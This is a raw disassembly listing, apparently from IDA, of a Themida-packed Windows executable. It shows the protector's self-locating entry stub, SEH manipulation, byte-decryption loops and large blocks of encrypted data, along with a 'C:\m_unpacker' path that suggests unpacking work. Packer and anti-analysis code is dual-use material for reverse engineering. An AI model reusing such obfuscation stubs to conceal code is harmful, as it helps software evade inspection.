		dd 77F52E0Fh, 7FFE0304h, 0
		dd offset byte_586443
		align 8
		dd 7FFE0304h, 0
		dd 662Ch, 0FFED00A0h, 2	dup(0)
dword_54D520	dd 0A21568h, 2E275017h,	4 dup(0) ; DATA	XREF: Themida_:0054D7E0o
					; Themida_:0054D800o
		dd 0FE4C9673h, 0
		dd 11111111h, 3	dup(0)
		dd 77D40000h, 5BFB86h, 0
		dd 12FF54h, 0
aUi1		db '½ã©1"',0
		align 4
		dd 9 dup(0)
		dd 77DD59F0h, 7A0E7E5Fh, 1, 3 dup(0)
aRs_0		db '<',0Dh,'rá',0
		align 10h
		dd 3 dup(0)
		dd offset byte_5839F5
		dd 3 dup(0)
		dd 304h, 0A1A037h, 6 dup(0)
		dd 8001FCFCh, 0
		dd 34EB86D9h, 0FFA85198h, 28D0000h, 4 dup(0)
		dd offset byte_5B52CF
		dd 2 dup(0)
		dd offset byte_586443
		dd 3 dup(0)
aEac		db '¼Ea—',0
		align 4
		dd 12FFF0h, 6 dup(0)
		dd 400000h, 0
		dd 1, 6	dup(0)
		dd 1, 4	dup(0)
		dd 37054BA3h, 2	dup(0)
		dd offset byte_5C0023
		dd 0Eh dup(0)
		dd 0A1A00Fh, 7FFE0304h,	2 dup(0)
		dd 0FFFF1A97h, 3 dup(0)
		dd 12FF54h, 0Bh	dup(0)
		dd 0A19393h, 7 dup(0)
		dd 0AFB1CAh, 0
		dd offset byte_5D05EF
		dd 2 dup(0)
		dd 0FFFF1A97h, 0Bh dup(0)
		dd 5AE0h, 7FFE0304h, 3 dup(0)
		dd 84h,	0
		dd offset byte_5A3193
		align 10h
		dd 0B805h, 6 dup(0)
		dd 7FFE0327h, 434DD212h, 0A21568h, 2 dup(0)
		dd offset dword_54D520
		dd 2 dup(0)
aNgr		db 'Ù­GR',0
		align 10h
		dd offset dword_54D520
		dd 0BAAAh, 5BBD25h, 4 dup(0)
		dd 0E421C71Ah, 0BCFD9522h, 2 dup(0)
		dd 8AA7h, 0FFFFFFFCh, 2	dup(0)
aKX		db 'k%X',0Dh,0
		align 4
		dd 2 dup(0)
		dd 5E0EDFh, 4 dup(0)
		dd offset unk_4DF000
aI4h		db 'œi4H',0
		align 4
		dd 7 dup(0)
		dd 2B0FEEE9h, 0B2h dup(0)
dword_54DB54	dd 0B8h, 74C00B00h, 18C203h, 0C24448Bh,	0E853h,	815B0000h
					; DATA XREF: Themida_:0054D184o
		dd 17C3h, 245C8900h, 24448910h,	37B85B14h, 0FF00A1A0h
		dd 24448BE0h, 0E0FF04h,	16h dup(0)
		dd 24h,	4 dup(0)
		dd 3 dup(33333333h), 7FFE0304h,	2Ah, 2 dup(0)
		dd offset word_5AC1A6
aAi		db '€›±',0Ah,0
		align 4
		dd 3 dup(0)
		dd 0DCh, 7 dup(0)
		dd 0FFA4B134h, 2 dup(0)
		dd 7FFE0304h, 2	dup(0)
		dd offset dword_58A828
		dd 2 dup(0)
aS_		db '‘ÉÌ_',0
		align 10h
		unicode	0, <Ä>,0
		align 8
		dd 7FFE0304h, 70h, 0
		dd 6BACh, 86555974h, 3 dup(0)
		dd 881857C9h, 0
		dd 7FFE0304h, 4	dup(0)
		dd offset byte_5BACF1
aECw_0		db '…Ççw',0
		align 10h
		dd 0A6E31C02h, 0D1BE16F9h, 0AE7D4AFBh, 0D8h, 18D6D51Bh
		dd 3 dup(0)
		dd offset word_57BE82
		dd 2Eh dup(0)
		dd 6469h, 49F6D778h, 2 dup(0)
		dd 56DCE7FBh, 3	dup(0)
		dd 17Eh, 0
		dd 1, 3	dup(0)
		dd offset byte_5A8363
		dd 1CC9F511h, 3	dup(0)
		dd offset dword_457444+29DBFh
		align 10h
		dd 0A169DDh, 0FFFFA01Ch, 2 dup(0)
		dd 32597F5Dh, 0E569h, 1000h, 0
		dd 0FFA78908h, 7 dup(0)
		dd 28D0000h, 6 dup(0)
		dd 62h,	3 dup(0)
		dd 0A169DDh, 8A31A6B6h,	4 dup(0)
		dd offset dword_5CFE0C
		dd 0
		dd 2A0114h, 2 dup(0)
a_F		db '.ÜÆ”',0
		align 10h
		dd 4 dup(0)
		dd 0B753FBF4h, 0
		dd 0F8799929h, 5 dup(0)
		dd 7FFE0304h, 3	dup(0)
aHSw		db 'h>èw',0
		align 4
		dd 1, 2	dup(0)
		dd 77E776CDh, 27310304h, 2 dup(0)
		dd offset dword_5C12C4
		dd 900Bh, 4 dup(0)
aQsr		db '³ïsr',0
		align 10h
		dd 0FFFFFFF3h, 0
		dd 259208Ah, 586455h, 7FFE0304h, 0
		dd 662Ch, 0FFFFFFFFh, 5	dup(0)
aEac_0		db '¼Ea—',0
		align 4
aCM_unpacker	db 'C:\m_unpacker',0
		align 4
		dd 7Ch dup(0)
aCnvu		db '炞',0
		align 4
		dd 1, 0
		dd 1, 3	dup(0)
aSrs		db 'sr˜Ð',0
		align 8
		dd offset dword_5876F8
		dd 3 dup(0)
		dd offset byte_5879F3
		align 10h
		dd 0FFFFA2F4h, 0
		dd 662Ch, 8AA7h, 0E80h,	0A1A313h, 0FFFF7559h, 0Bh dup(0)
		dd 662Ch, 0
		dd 0FFFFFF68h, 6 dup(0)
		dd offset dword_5C4CC0
		dd 0
		dd 0A13E3Bh, 0Ah dup(0)
aCw_2		db '&Ççw',0
		align 4
		dd 0E0F70000h, 1Ch dup(0)
		dd 77DD0000h, 3	dup(0)
		dd 380FD7EEh, 5	dup(0)
		dd 3D94h, 6 dup(0)
		dd 4, 6	dup(0)
		dd 69DDh, 0
		dd 0A12BDEh, 7FFE0304h,	0
		dd 94h,	7FFE0304h, 0FFAB37DCh, 4 dup(0)
aG_fb		db 'ƒ_äB',0
		align 8
		dd offset byte_5C1203
		dd 2420008h, 12FFA4h, 3FEEh, 0F141EFA0h, 2 dup(0)
		dd 0A00000h, 5803D5h, 5	dup(0)
		dd 0FFFFh, 576FE082h, 7	dup(0)
		dd 0A223E8h
dword_54E3C8	dd 0			; DATA XREF: Themida_:0054CAD8o
		dd 547Ch, 7 dup(0)
		dd 2A0114h, 0
		dd 1F8Fh, 0FB57239Ah, 7FFE0304h, 77EBA6E9h, 3 dup(0)
		dd 0A37FD8h, 2 dup(7FFE0304h), 0
		dd 0A19234h, 3 dup(0)
		dd offset byte_5C138D
		dd 6 dup(0)
		dd 0E3030000h, 7 dup(0)
		dd 33AB6305h, 0Ah dup(0)
		dd offset byte_5A57ED
		dd 2 dup(0)
		dd offset byte_5CE57D
		dd 6 dup(0)
		dd offset byte_5CFCB9
		dd 4 dup(0)
		dd 24A6B9Ch, 0
		dd 32FDDC04h, 0FFFFFFFDh, 0
		dd offset byte_58BEA5
		dd 9 dup(0)
		dd 7FFE0304h, 25A0000h,	4 dup(0)
		dd 14EBh, 5A0934h, 74h,	77E7C657h, 0
		dd 0A00A9Ah, 4 dup(0)
		dd 77E7FB17h, 77F5180Bh, 5C52D1h, 0
		dd 12FFC4h, 2 dup(0)
aHM		db 'h',9,'Œ|',0
		align 8
		dd offset word_5865EA
		dd 3 dup(0)
		dd 7FFE0304h, 4	dup(0)
		dd offset word_5969F6
		dd 3 dup(0)
		dd 385FF68h, 4 dup(0)
aZD		db 'zÌÜ„',0
		align 4
		dd 0
		dd 24A7FFFh, 0Dh dup(0)
aKz		db '¸ÔKZ',0
		align 10h
		dd offset word_5D738E
		align 8
a6666		db '6666',0
		align 10h
		dd 3 dup(0)
aIhibcdx	db 'ihiCdX',0
		dd 0A00FE6h, 2Ch dup(0)
aUlJCw		db 'žL;',9,'†Äçw',0
		align 4
		dd offset byte_5D000F
		dd 4 dup(0)
		dd 9096h, 48CC51h, 6 dup(0)
		dd 1, 2	dup(0)
		dd offset aLS		; "`‹\\$$è"
		dd 3 dup(0)
		dd 0DE000h, 0C7246BA2h,	2 dup(0)
		dd 0FFFFA4C0h, 15h dup(0)
		dd 0A00000h, 25D0000h, 0FD7CA5Eh, 6 dup(0)
		dd 7FFE0304h, 0
		dd offset dword_5C12C4
		dd 5 dup(0)
aCWindowsSystem	db 'C:\WINDOWS\System32\ADVAPI32.dll',0
		align 4
		dd 39h dup(0)
		dd offset dword_5CFE0C
		dd offset dword_5A4E9C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_54E900:				; CODE XREF: start:loc_54B46Bj
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 610349Fh
		mov	[ebp+61030F5h],	edx
		mov	[ebp+61030E9h],	esi
		mov	[ebp+61021C9h],	eax
		cmp	dword ptr [ebp+6101C21h], 0
		jz	short loc_54E938
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_54E938:				; CODE XREF: start+6D916j
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+6102089h],	eax
		push	45h
		call	sub_54E9EC
		push	783749Ah
		call	sub_54EA32
		push	0A894B25h
		call	sub_54EA32
		jmp	loc_54EB76
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dw 4645h
		dd 4A494847h, 4E4D4C4Bh, 5251504Fh, 56555453h, 5A595857h
		dd 5E5D5C5Bh, 6261605Fh, 66656463h, 6A696867h, 6E6D6C6Bh
		dd 7271706Fh, 76757473h, 7A797877h, 7E7D7C7Bh, 8281807Fh
		dd 86858483h, 8A898887h, 8E8D8C8Bh, 9291908Fh, 96959493h
		dd 9A999897h, 9E9D9C9Bh, 0A2A1A09Fh, 0A6A5A4A3h, 0AAA9A8A7h
		dd 0AEADACABh, 0B2B1B0AFh, 0B6B5B4B3h, 0BAB9B8B7h, 0BEBDBCBBh
		dd 0C2C1C0BFh, 0C3h, 2 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_54E9EC	proc near		; CODE XREF: start+6D930p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 610358Dh
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_54EA08:				; CODE XREF: sub_54E9EC+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_54EA27
		mov	eax, [ebp+arg_0]
		mov	[ebx+61034F7h],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_54EA08
; ---------------------------------------------------------------------------


loc_54EA27:				; CODE XREF: sub_54E9EC+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_54E9EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_54EA32	proc near		; CODE XREF: start+6D93Ap start+6D944p

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 61035D6h
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_54EA58:				; CODE XREF: sub_54EA32+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_54EA58
		mov	[ebp+var_84], 0
		lea	edi, [edx+61034F7h]
		lea	esi, [ebp+var_80]


loc_54EA88:				; CODE XREF: sub_54EA32+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_54EA94:				; CODE XREF: sub_54EA32+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_54EA94
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_54EA88
		popa
		leave
		retn	4
sub_54EA32	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_54EAD2
; ---------------------------------------------------------------------------


loc_54EACE:				; CODE XREF: Themida_:0054EAD5j
		inc	dword ptr [ebp-4]
		inc	esi


loc_54EAD2:				; CODE XREF: Themida_:0054EACCj
		cmp	byte ptr [esi],	0
		jnz	short loc_54EACE
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_54EB63
; ---------------------------------------------------------------------------


loc_54EAE4:				; CODE XREF: Themida_:0054EB66j
		mov	dword ptr [ebp-8], 0
		jmp	short loc_54EB5A
; ---------------------------------------------------------------------------


loc_54EAED:				; CODE XREF: Themida_:0054EB5Ej
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_54EB47
; ---------------------------------------------------------------------------


loc_54EAFD:				; CODE XREF: Themida_:0054EB4Bj
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_54EB1F
		cmp	bl, 39h
		ja	short loc_54EB1F
		sub	bl, 30h
		jmp	short loc_54EB41
; ---------------------------------------------------------------------------


loc_54EB1F:				; CODE XREF: Themida_:0054EB13j
					; Themida_:0054EB18j
		cmp	bl, 61h
		jb	short loc_54EB31
		cmp	bl, 66h
		ja	short loc_54EB31
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_54EB41
; ---------------------------------------------------------------------------


loc_54EB31:				; CODE XREF: Themida_:0054EB22j
					; Themida_:0054EB27j
		cmp	bl, 41h
		jb	short loc_54EB41
		cmp	bl, 46h
		ja	short loc_54EB41
		sub	bl, 41h
		add	bl, 0Ah


loc_54EB41:				; CODE XREF: Themida_:0054EB1Dj
					; Themida_:0054EB2Fj ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_54EB47:				; CODE XREF: Themida_:0054EAFBj
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_54EAFD
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_54EB57
		mov	eax, [ebp-10h]
		stosb


loc_54EB57:				; CODE XREF: Themida_:0054EB51j
		inc	dword ptr [ebp-8]


loc_54EB5A:				; CODE XREF: Themida_:0054EAEBj
		cmp	dword ptr [ebp-8], 2
		jb	short loc_54EAED
		add	edx, 4


loc_54EB63:				; CODE XREF: Themida_:0054EAE2j
		cmp	edx, [ebp-4]
		jb	loc_54EAE4
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_54EB76:				; CODE XREF: start+6D949j
		mov	ecx, 7000h
		lea	edi, [ebp+610371Ch]


loc_54EB81:				; CODE XREF: start+6DB71j
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_54EB81
		mov	eax, 48692121h
		mov	edx, 0F00E1000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+6103828h]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		mov	ebx, edx
		push	0
		push	eax
		call	sub_54EBBF
		and	[eax-3Dh], bl
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================



sub_54EBBF	proc near		; CODE XREF: start+6DBA3p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_54EBBF	endp

; ---------------------------------------------------------------------------
		db 0BAh
		dd 4EA70CCFh, 0B86660F1h, 0E981E3AAh, 6A53EF34h, 0E9C22B61h
		dd 14h,	9CF7D77h, 0BEED93CAh, 59F5EB04h, 56B66A17h, 0D7A8E2B7h
		dd 0FFF00025h, 0FF98AFFh, 0CA8BDFB7h, 8166FF33h, 755A4D38h
		dd 50B70F0Eh, 81D0033Ch, 45503Ah, 2D087400h, 1000h, 64E3EB47h
		dd 58Fh, 0C4830000h, 3B958D04h,	52061038h, 35FF64h, 64000000h
		dd 2589h, 0C1030000h, 10002Dh, 4708B00h, 0E681h, 0FE81FFFFh
		dd 80000000h, 708B0376h, 83C0331Ch, 1F7432F8h, 4D3E8166h
		dd 8109745Ah, 10000EEh,	0EBEB4000h, 33C7E8Bh, 503F81FEh
		dd 74000045h, 64E8EB44h, 58Fh, 0C4830000h, 51C36104h, 10244C8Bh
		dd 0B0A981h, 10000000h,	33590000h, 8B51C3C0h, 5510244Ch
		dd 0E8h, 0ED815D00h, 6103846h, 3804858Dh, 81890610h, 0B8h
		dd 0C033595Dh, 8F6496C3h, 5, 4C48300h, 5E8h, 46747700h
		dd 0BE9F2F3h, 23000000h, 17653E1Dh, 4765AEE6h, 0F5BC814h
		dd 68Bh, 9AD38100h, 0F54A270h, 0A8Eh, 48E0F00h,	66000000h
		dd 6649A7BBh, 8166D98Ch, 803474DBh, 0E38104E1h,	2AD09204h
		dd 48F0Fh, 8A520000h, 0C90A5BFCh, 3C850Fh, 8B500000h, 85C75BD9h
		dd 6102209h, 1,	7E8h, 0A4797500h, 97DB47E2h, 10E9h, 0EEAF6700h
		dd 0BF30F16Bh, 99CF0D58h, 3692F422h, 17E95BFFh,	51000000h
		dd 90EB8051h, 85C75B5Bh, 6102209h, 0
		dd 6B3CDB81h, 8589064Fh, 6101499h, 7E9h, 77704800h, 975E2BE4h
		dd 8589DA8Bh, 6101D45h,	5E8h, 442CC100h, 0B6519248h, 0F5F5B33h
		dd 0C781DEBFh, 5F51h, 81665656h, 58BA99F2h, 0FC9335Bh
		dd 282h, 8BC38B00h, 11E80F34h, 4E000000h, 0D703CC48h, 0DDEB4C5Ah
		dd 4A875C60h, 0AA7B5F13h, 5889B350h, 0D1F68158h, 0F356530h
		dd 1183h, 0CE900h, 53530000h, 0A5B87AAFh, 8458208Ah, 0C681918Fh
		dd 4DA7BFB3h, 81DBE480h, 0B9DCAEC6h, 0C78B665Bh, 8FD78B56h
		dd 0C3810F04h, 2BE6B1EEh, 10E9h, 1D8B3E00h, 0D460E516h
		dd 0B782B194h, 42AE4D6Eh, 4E983B7h, 81D68B66h, 0FFA194F9h
		dd 30850FFFh, 0E8000000h, 0Eh, 9A7F9187h, 0FEAA87FCh, 0F7C78002h
		dd 0D0BA7F02h, 5A55F5F0h, 25E9h, 69F5900h, 97BD349Dh, 0E29511FFh
		dd 81CC864Eh, 0B3D59418h, 0FF49E9E1h, 1A13FFFFh, 71046CF9h
		dd 0C7D70689h, 4EB8964h, 215h, 649E9h, 0BE900h,	0C2DF0000h
		dd 0ECCA480Ch, 3E2865B9h
		db 4Ah
byte_54EE9D	db 60h,	0Fh, 8Eh	; DATA XREF: Themida_:0054CD8Co
		dd 6, 1D919509h, 0B80610h, 29000000h, 101BE1B5h, 24548B06h
		dd 0D18B6028h, 1FAD9D89h, 89610610h, 10147585h,	1810F06h
		dd 0FC000000h, 3CBEh, 68D0F00h,	31000000h, 100B01BDh, 24740306h
		dd 0FD9D2924h, 66061015h, 1D8501ADh, 3061022h, 0FC242444h
		dd 0F525050h, 287h, 0F616000h, 9CB86031h, 5307A19Dh, 585A6159h
		dd 0E9240489h, 0Bh, 0CEE51CC6h,	0E2F02B76h, 0E9AA60DBh
		dd 5, 8FFB44FDh, 78408BAEh, 1289BD29h, 44030610h, 9D892824h
		dd 6103055h, 0F18408Bh,	0B8Ah, 0BF0F6000h, 68E881FEh, 613E0124h
		dd 8589FC40h, 6103A19h,	50BA6660h, 0F08B6630h, 840F5861h
		dd 6, 23698589h, 708B0610h, 359D8978h, 8306101Bh, 0BD311CC6h
		dd 6100E71h, 24247403h,	0B5BD8DF9h, 60061020h, 2395BD89h
		dd 0AD610610h, 244403F8h, 75BD8924h, 0AB061023h, 59BD8DFCh
		dd 0E906102Fh, 14h, 0DAD63271h,	9D360034h, 1572D9E4h, 5804B534h
		dd 334AA798h, 5E9ADh, 0F4580000h, 3C88370h, 29242444h
		dd 100C4985h, 0CD9D0906h, 9006101Bh, 15800Fh, 52500000h
		dd 8E9h, 6363A500h, 200DBB01h, 60310F85h, 50585A61h, 158A0Fh
		dd 0E8600000h, 8, 0BFD2AE1Dh, 0F9B5030Ah, 1493B85Bh, 9061682Ah
		dd 0BD89ABF5h, 610166Dh, 91B86660h, 6840F48h, 0F000000h
		dd 81h,	0BD8D6100h, 6100601h, 0BE9h, 0BE58FA00h, 21804C49h
		dd 0A94A45EEh, 3F8ADF9h, 0FC282444h, 8E9h, 0B7924700h
		dd 0F07AB77Eh, 9529AB1Bh, 6101F69h, 0FDBD315Eh,	0FF061006h
		dd 103A198Dh, 19BD8306h, 6103Ah, 44C71075h, 1C24h, 0B58D0000h
		dd 6103E4Ah, 0AD56E6FFh, 28244403h, 8ADF8B97h, 1023E585h
		dd 74C08406h, 75073A04h, 0C032574Ch, 5EFD75AEh,	0FC52FB2Bh
		dd 8B49C933h, 33C033D1h, 0C132ACDBh, 0EA8ACD8Ah, 8B6D68Ah
		dd 66EBD166h, 973D8D1h,	50413566h, 49F38166h, 75CEFE54h
		dd 33C833EBh, 0D5754FD3h, 0D1F7D2F7h, 0C0C1C28Bh, 0C18B6610h
		dd 74D03B5Ah, 0C6835E0Fh, 7585FF04h, 0E9061014h, 0FFFFFF6Fh
		dd 0AE95Eh, 9DDB0000h, 7CD353B7h, 4E26AA5Fh, 8C1BD89h
		dd 858B0610h, 6101475h,	2F358D09h, 9D290610h, 6101255h
		dd 0B589E0D1h, 6101295h, 6018503h, 9D290610h, 6101295h
		dd 160F62Bh, 1005F995h,	9661F506h, 31AD66F9h, 102F618Dh
		dd 108F0F06h, 0E9000000h, 0Bh, 9AEF649Dh, 0F334AB4Ch, 0C19E1FF8h
		dd 3F802E0h, 1020B585h,	7E906h,	0ED8E0000h, 0ABD7DA8Bh
		dd 0B840F11h, 60000000h, 585F37BAh, 0A5BB662Fh,	29966163h
		dd 101931BDh, 9529AD06h, 6100AFDh, 24244C8Bh, 0BE9h, 47E82A00h
		dd 0F6649EE1h, 0CDE1F487h, 0B8A0Fh, 0F600000h, 9529D7B7h
		dd 6100239h, 24440361h,	899D8924h, 8906102Eh, 0F1C2444h
		dd 0E88h, 95896000h, 61006FDh, 1659D8Bh, 96610610h, 31559529h
		dd 89AC0610h, 1021E5BDh, 0FC93206h, 168Fh, 11E900h, 98630000h
		dd 0DE89B9C8h, 0AD1DE0BBh, 462F880h, 8929CA1Fh,	10011985h
		dd 0F5C1FE06h, 830FD0D0h, 99h, 0AE9h, 11345100h, 0A21E157Ch
		dd 0D0CAFEA2h, 82830FD0h, 0E9000000h, 5, 0A9C107C7h, 0FD0D0BAh
		dd 7082h, 6830F00h, 29000000h, 100BCDB5h, 959D0106h, 0D006100Eh
		dd 56820FD0h, 0F8000000h, 890FC9FEh, 0FFFFFFACh, 6890Fh
		dd 0BD290000h, 6102A21h, 0FC20C483h, 0FC2444C7h, 0
		dd 2D398D89h, 1B80610h,	89000000h, 100A999Dh, 0A38D8D06h
		dd 0E9061073h, 0Ah, 7CB3FFE9h, 0DF1734BFh, 8589616Dh, 6100D55h
		dd 0B501E1FFh, 61001C1h, 0E585C6F8h, 61023h, 16ADB589h
		dd 0E9610610h, 7, 0C85E22ABh, 0C203E40Fh, 1600008h, 10097D85h
		dd 6EBF6606h, 605061F4h, 0FA6DB966h, 12E95250h,	0D7000000h
		dd 0B5B131F4h, 39D1DE7Fh, 30AD4D67h, 5155DEDBh,	60310FB4h
		dd 61585A61h, 60243489h, 143D8503h, 830F0610h, 6, 0F25BD89h
		dd 89610610h, 10404AB5h, 0DDBD2906h, 8906102Fh,	10405A8Dh
		dd 2DBD8906h, 8D061009h, 103F1AB5h, 6E906h, 161E0000h
		dd 0EFBE86A0h, 8EA1858Dh, 2960005Bh, 100099B5h,	0D0FF6106h
		dd 3DBD8B60h, 6606100Dh, 2961DE8Bh, 100BD59Dh, 10E95E06h
		dd 24000000h, 9A350C25h, 72215CBAh, 6E588A4Dh, 0F8523FC8h
		dd 198D31C3h, 60061021h, 4AB58B61h, 0F061040h, 0B85h, 6E900h
		dd 63DE0000h, 448C5452h, 405A8D8Bh, 0DE90610h, 80000000h
		dd 92C2DDEDh, 2B3DAA64h, 5FB06FB1h, 0F960C02Bh,	0F9D98B61h
		dd 0C6E9F5h, 0EE90000h,	0AD000000h, 0E27565C4h,	157FD26Eh
		dd 0A7CFDBDFh, 0F26329Bh, 0D80h, 8E900h, 0F4900000h, 46B6DA88h
		dd 2B21C5Dh, 5870F60h, 66000000h, 5F56DA81h, 59E961h, 9D890000h
		dd 6100CA1h, 9D31C232h,	6101C91h, 751D7A05h, 0CC8AF88Ah
		dd 68D0Fh, 85890000h, 6100BCDh,	9D89C8D3h, 6101C1Dh, 0D1084235h
		dd 0D8C0F98h, 60000000h, 72D98166h, 0A1BD89D2h,	61061015h
		dd 0FE9h, 0BF13AA00h, 19733905h, 24EA61Ch, 908DE8B0h, 0AFCCAFEh
		dd 0A5850FD2h, 60FFFFFFh, 0ABB694B4h, 8B0F4B61h, 8, 0F19D2960h
		dd 6106100Ah, 0EE946h, 58C30000h, 0F6FD4A91h, 0D2AC862Eh
		dd 3EA09E05h, 850FDB0Bh, 0FFFFFF45h, 188E0Fh, 820F0000h
		dd 12h,	0DE9h, 8B514200h, 0BC39A48Eh, 361FA045h, 89CF8AA2h
		dd 102A0195h, 1000006h,	101A759Dh, 89000006h, 1011F9BDh
		dd 60000006h, 94E08166h, 6130h,	18E19529h, 858D0610h, 6103A32h
		dd 0DB816660h, 66609EFFh, 25C4C681h, 85896161h,	6101921h
		dd 73858DF9h, 0F06103Eh, 681h, 799D8900h, 89061004h, 1006D585h
		dd 10E806h, 3E6C0000h, 3E7C8A6h, 21A6D9C0h, 4731F214h
		dd 805129E0h, 5A5E30C1h, 0C281FB8Bh, 74B5h, 0B8F98Bh, 66000000h
		dd 1C8BF38Bh, 1AB2BF02h, 0F381089Fh, 307DD576h,	2E698D89h
		dd 0F3810610h, 26F7B06Bh, 399F381h, 0CE9274Ch, 65000000h
		dd 0DCAAFD16h, 5F9AC863h, 89B0ABF8h, 9D09021Ch,	610311Dh
		dd 12819589h, 0E8810610h, 63CE58E1h, 81F9BF0Fh,	0CE58DDC0h
		dd 0BE863h, 887D0000h, 0CC3149CDh, 251B335Ah, 0BD9D8959h
		dd 5E061030h, 8C1CF881h, 850FFFFFh, 28h, 0AE8h,	39610A00h
		dd 0BA82F257h, 6602DB74h, 5FFFCDBFh, 22E9h, 8E601F00h
		dd 27AD3AF3h, 87527C98h, 0EF54F3D0h, 2DEFBB60h,	39B605DAh
		dd 0FF58E961h, 21E6FFFFh, 0EB06A7D4h, 14h, 3 dup(0)
		dd 8500h, 45858D00h, 89061042h,	10012985h, 86BD8306h, 61041h
		dd 12B840Fh, 85C60000h,	61023E5h, 4E856h, 6D390000h, 8B50D41Fh
		dd 8B042444h, 24448900h, 0B5FF5804h, 6101499h, 3A32858Dh
		dd 0D0FF0610h, 417A8589h, 85C60610h, 61023E5h, 3B736856h
		dd 34819EA1h, 9832124h,	99B5FF02h, 8D061014h, 103A3285h
		dd 89D0FF06h, 10417E85h, 68046A06h, 0F54F73A3h,	5D240481h
		dd 8B0AB09Ch, 10418A85h, 1F40506h, 0E0C10000h, 90509002h
		dd 95FF006Ah, 610417Eh,	41828589h, 0D88B0610h, 0FFFFFFB8h
		dd 2995FFFFh, 8B061001h, 2995FFC3h, 0E9061001h,	8Dh
dword_54F6B0	dd 4186BD83h, 0F000610h, 185h, 8B57C300h, 104182BDh, 8583AB06h
					; DATA XREF: Themida_:0054B594o
		dd 6104182h, 83C35F04h,	104186BDh, 850F0006h, 1, 0AD8360C3h
		dd 6104182h, 829D8B04h,	83061041h, 0FFFFC7Bh, 1D85h, 0D66A6800h
		dd 3481424Fh, 4F566A24h, 0FF006A42h, 7A95FF33h,	61061041h
		dd 26E9C3h, 4E80000h, 0
		dd 50000080h, 424448Bh,	4489008Bh, 6A580424h, 0FF33FF00h
		dd 10417A95h, 82AD8306h, 4061041h, 0FFFFA8E9h, 0ADE948FFh
		dd 60000001h, 2424748Bh, 28247C8Bh, 8A80B2FCh, 7884606h
		dd 2BB47h, 0D2020000h, 5850Fh, 168A0000h, 0FD21246h, 0FFFFE283h
		dd 0FD202FFh, 585h, 46168A00h, 830FD212h, 6Ah, 0D202C033h
		dd 5850Fh, 168A0000h, 0FD21246h, 12A83h, 0FD20200h, 585h
		dd 46168A00h, 0C013D212h, 850FD202h, 5,	1246168Ah, 2C013D2h
		dd 5850FD2h, 8A000000h,	0D2124616h, 0D202C013h,	5850Fh
		dd 168A0000h, 13D21246h, 6840FC0h, 57000000h, 78AF82Bh
		dd 4707885Fh, 2BBh, 0FF70E900h,	1B8FFFFh, 2000000h, 5850FD2h
		dd 8A000000h, 0D2124616h, 0D202C013h, 5850Fh, 168A0000h
		dd 0FD21246h, 0FFFFDE82h, 0BBC32BFFh, 1, 34850Fh, 1B90000h
		dd 2000000h, 5850FD2h, 8A000000h, 0D2124616h, 0D202C913h
		dd 5850Fh, 168A0000h, 0FD21246h, 0FFFFDE82h, 0F78B56FFh
		dd 0A4F3F52Bh, 0FF08E95Eh, 0C148FFFFh, 68A08E0h, 0B9E88B46h
		dd 1, 850FD202h, 5, 1246168Ah, 2C913D2h, 5850FD2h, 8A000000h
		dd 0D2124616h, 0FFDE820Fh, 3DFFFFh, 0F00007Dh, 2283h, 5003D00h
